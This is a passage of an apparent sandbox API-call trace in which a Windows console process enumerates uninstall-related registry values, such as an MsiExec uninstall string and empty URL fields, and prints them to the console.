_Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.705] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.705] __iob_func () returned 0x7fefd702a80 [0147.705] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.705] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.705] _fileno (_File=0x7fefd702ab0) returned 1 [0147.705] _errno () returned 0xc4bb0 [0147.705] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.705] _errno () returned 0xc4bb0 [0147.705] GetFileType (hFile=0x50) returned 0x1 [0147.705] lstrlenW (lpString="0x1") returned 3 [0147.705] GetConsoleOutputCP () returned 0x1b5 [0147.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.705] GetConsoleOutputCP () returned 0x1b5 [0147.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.705] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.705] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.705] __iob_func () returned 0x7fefd702a80 [0147.705] _fileno (_File=0x7fefd702ab0) returned 1 [0147.705] _errno () returned 0xc4bb0 [0147.705] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.705] _errno () returned 0xc4bb0 [0147.705] GetFileType (hFile=0x50) returned 0x1 [0147.705] lstrlenW (lpString="\n") returned 1 [0147.706] GetConsoleOutputCP () returned 0x1b5 [0147.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.706] GetConsoleOutputCP () returned 0x1b5 [0147.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.706] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.706] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.706] GetProcessHeap () returned 0x2e0000 [0147.706] GetProcessHeap () returned 0x2e0000 [0147.706] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.706] GetProcessHeap () returned 0x2e0000 [0147.706] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.706] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.706] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.706] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.706] GetProcessHeap () returned 0x2e0000 [0147.706] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.706] GetProcessHeap () returned 0x2e0000 [0147.706] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.706] GetProcessHeap () returned 0x2e0000 [0147.706] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.706] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.706] __iob_func () returned 0x7fefd702a80 [0147.706] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.707] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.707] _fileno (_File=0x7fefd702ab0) returned 1 [0147.707] _errno () returned 0xc4bb0 [0147.707] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.707] _errno () returned 0xc4bb0 [0147.707] GetFileType (hFile=0x50) returned 0x1 [0147.707] lstrlenW (lpString=" ") returned 4 [0147.707] GetConsoleOutputCP () returned 0x1b5 [0147.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.707] GetConsoleOutputCP () returned 0x1b5 [0147.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.707] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.707] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.707] lstrlenW (lpString="UninstallString") returned 15 [0147.707] __iob_func () returned 0x7fefd702a80 [0147.707] _fileno (_File=0x7fefd702ab0) returned 1 [0147.707] _errno () returned 0xc4bb0 [0147.707] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.707] _errno () returned 0xc4bb0 [0147.707] GetFileType (hFile=0x50) returned 0x1 [0147.707] lstrlenW (lpString="UninstallString") returned 15 [0147.707] GetConsoleOutputCP () returned 0x1b5 [0147.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.707] GetConsoleOutputCP () returned 0x1b5 [0147.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0147.708] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.708] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.708] __iob_func () returned 0x7fefd702a80 [0147.708] _fileno (_File=0x7fefd702ab0) returned 1 [0147.708] _errno () returned 0xc4bb0 [0147.708] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.708] _errno () returned 0xc4bb0 [0147.708] GetFileType (hFile=0x50) returned 0x1 [0147.708] lstrlenW (lpString=" ") returned 4 [0147.708] GetConsoleOutputCP () returned 0x1b5 [0147.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.712] GetConsoleOutputCP () returned 0x1b5 [0147.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.712] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.712] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.712] __iob_func () returned 0x7fefd702a80 [0147.712] _fileno (_File=0x7fefd702ab0) returned 1 [0147.712] _errno () returned 0xc4bb0 [0147.712] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.712] _errno () returned 0xc4bb0 [0147.712] GetFileType (hFile=0x50) returned 0x1 [0147.712] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.712] GetConsoleOutputCP () returned 0x1b5 [0147.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.712] GetConsoleOutputCP () returned 0x1b5 [0147.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.713] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.713] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.713] __iob_func () returned 0x7fefd702a80 [0147.713] _fileno (_File=0x7fefd702ab0) returned 1 [0147.713] _errno () returned 0xc4bb0 [0147.713] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.713] _errno () returned 0xc4bb0 [0147.713] GetFileType (hFile=0x50) returned 0x1 [0147.713] lstrlenW (lpString=" ") returned 4 [0147.713] GetConsoleOutputCP () returned 0x1b5 [0147.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.713] GetConsoleOutputCP () returned 0x1b5 [0147.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.713] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.713] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.713] __iob_func () returned 0x7fefd702a80 [0147.713] _fileno (_File=0x7fefd702ab0) returned 1 [0147.713] _errno () returned 0xc4bb0 [0147.713] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.713] _errno () returned 0xc4bb0 [0147.713] GetFileType (hFile=0x50) returned 0x1 [0147.713] lstrlenW (lpString="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}") returned 52 [0147.713] GetConsoleOutputCP () returned 0x1b5 [0147.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.714] GetConsoleOutputCP () returned 0x1b5 [0147.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}", lpUsedDefaultChar=0x0) returned 52 [0147.714] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.714] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.714] __iob_func () returned 0x7fefd702a80 [0147.714] _fileno (_File=0x7fefd702ab0) returned 1 [0147.714] _errno () returned 0xc4bb0 [0147.714] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.714] _errno () returned 0xc4bb0 [0147.714] GetFileType (hFile=0x50) returned 0x1 [0147.714] lstrlenW (lpString="\n") returned 1 [0147.714] GetConsoleOutputCP () returned 0x1b5 [0147.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.714] GetConsoleOutputCP () returned 0x1b5 [0147.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.714] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.714] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.714] GetProcessHeap () returned 0x2e0000 [0147.715] GetProcessHeap () returned 0x2e0000 [0147.715] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.715] GetProcessHeap () returned 0x2e0000 [0147.715] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.715] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.715] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.715] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.715] GetProcessHeap () returned 0x2e0000 [0147.715] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.715] GetProcessHeap () returned 0x2e0000 [0147.715] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.715] GetProcessHeap () returned 0x2e0000 [0147.715] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.715] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.715] __iob_func () returned 0x7fefd702a80 [0147.715] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.715] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.715] _fileno (_File=0x7fefd702ab0) returned 1 [0147.715] _errno () returned 0xc4bb0 [0147.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.715] _errno () returned 0xc4bb0 [0147.715] GetFileType (hFile=0x50) returned 0x1 [0147.715] lstrlenW (lpString=" ") returned 4 [0147.715] GetConsoleOutputCP () returned 0x1b5 [0147.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.715] GetConsoleOutputCP () returned 0x1b5 [0147.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.716] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.716] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.716] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.716] __iob_func () returned 0x7fefd702a80 [0147.716] _fileno (_File=0x7fefd702ab0) returned 1 [0147.716] _errno () returned 0xc4bb0 [0147.716] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.716] _errno () returned 0xc4bb0 [0147.716] GetFileType (hFile=0x50) returned 0x1 [0147.716] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.716] GetConsoleOutputCP () returned 0x1b5 [0147.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.716] GetConsoleOutputCP () returned 0x1b5 [0147.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0147.716] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.716] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.716] __iob_func () returned 0x7fefd702a80 [0147.716] _fileno (_File=0x7fefd702ab0) returned 1 [0147.716] _errno () returned 0xc4bb0 [0147.716] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.716] _errno () returned 0xc4bb0 [0147.716] GetFileType (hFile=0x50) returned 0x1 [0147.716] lstrlenW (lpString=" ") returned 4 [0147.716] GetConsoleOutputCP () returned 0x1b5 [0147.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.717] GetConsoleOutputCP () returned 0x1b5 [0147.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.717] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.717] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.717] __iob_func () returned 0x7fefd702a80 [0147.717] _fileno (_File=0x7fefd702ab0) returned 1 [0147.717] _errno () returned 0xc4bb0 [0147.717] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.717] _errno () returned 0xc4bb0 [0147.717] GetFileType (hFile=0x50) returned 0x1 [0147.717] lstrlenW (lpString="REG_SZ") returned 6 [0147.717] GetConsoleOutputCP () returned 0x1b5 [0147.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.717] GetConsoleOutputCP () returned 0x1b5 [0147.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.717] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.717] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.717] __iob_func () returned 0x7fefd702a80 [0147.717] _fileno (_File=0x7fefd702ab0) returned 1 [0147.717] _errno () returned 0xc4bb0 [0147.718] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.718] _errno () returned 0xc4bb0 [0147.718] GetFileType (hFile=0x50) returned 0x1 [0147.718] lstrlenW (lpString=" ") returned 4 [0147.718] GetConsoleOutputCP () returned 0x1b5 [0147.718] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.718] GetConsoleOutputCP () returned 0x1b5 [0147.718] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.718] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.718] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.718] __iob_func () returned 0x7fefd702a80 [0147.718] _fileno (_File=0x7fefd702ab0) returned 1 [0147.718] _errno () returned 0xc4bb0 [0147.718] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.718] _errno () returned 0xc4bb0 [0147.718] GetFileType (hFile=0x50) returned 0x1 [0147.718] lstrlenW (lpString="") returned 0 [0147.718] __iob_func () returned 0x7fefd702a80 [0147.718] _fileno (_File=0x7fefd702ab0) returned 1 [0147.718] _errno () returned 0xc4bb0 [0147.718] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.718] _errno () returned 0xc4bb0 [0147.718] GetFileType (hFile=0x50) returned 0x1 [0147.718] lstrlenW (lpString="\n") returned 1 [0147.718] GetConsoleOutputCP () returned 0x1b5 [0147.719] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.719] GetConsoleOutputCP () returned 0x1b5 [0147.719] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.719] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.719] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.719] GetProcessHeap () returned 0x2e0000 [0147.719] GetProcessHeap () returned 0x2e0000 [0147.719] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.719] GetProcessHeap () returned 0x2e0000 [0147.719] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.719] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.719] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.719] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.719] GetProcessHeap () returned 0x2e0000 [0147.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.719] GetProcessHeap () returned 0x2e0000 [0147.719] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.719] GetProcessHeap () returned 0x2e0000 [0147.719] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.719] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.719] __iob_func () returned 0x7fefd702a80 [0147.719] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.719] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.719] _fileno (_File=0x7fefd702ab0) returned 1 [0147.719] _errno () returned 0xc4bb0 [0147.719] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.719] _errno () returned 0xc4bb0 [0147.719] GetFileType (hFile=0x50) returned 0x1 [0147.719] lstrlenW (lpString=" ") returned 4 [0147.720] GetConsoleOutputCP () returned 0x1b5 [0147.720] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.720] GetConsoleOutputCP () returned 0x1b5 [0147.720] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.720] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.720] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.720] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.720] __iob_func () returned 0x7fefd702a80 [0147.720] _fileno (_File=0x7fefd702ab0) returned 1 [0147.720] _errno () returned 0xc4bb0 [0147.720] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.720] _errno () returned 0xc4bb0 [0147.720] GetFileType (hFile=0x50) returned 0x1 [0147.720] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.720] GetConsoleOutputCP () returned 0x1b5 [0147.720] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.720] GetConsoleOutputCP () returned 0x1b5 [0147.720] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0147.720] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.720] 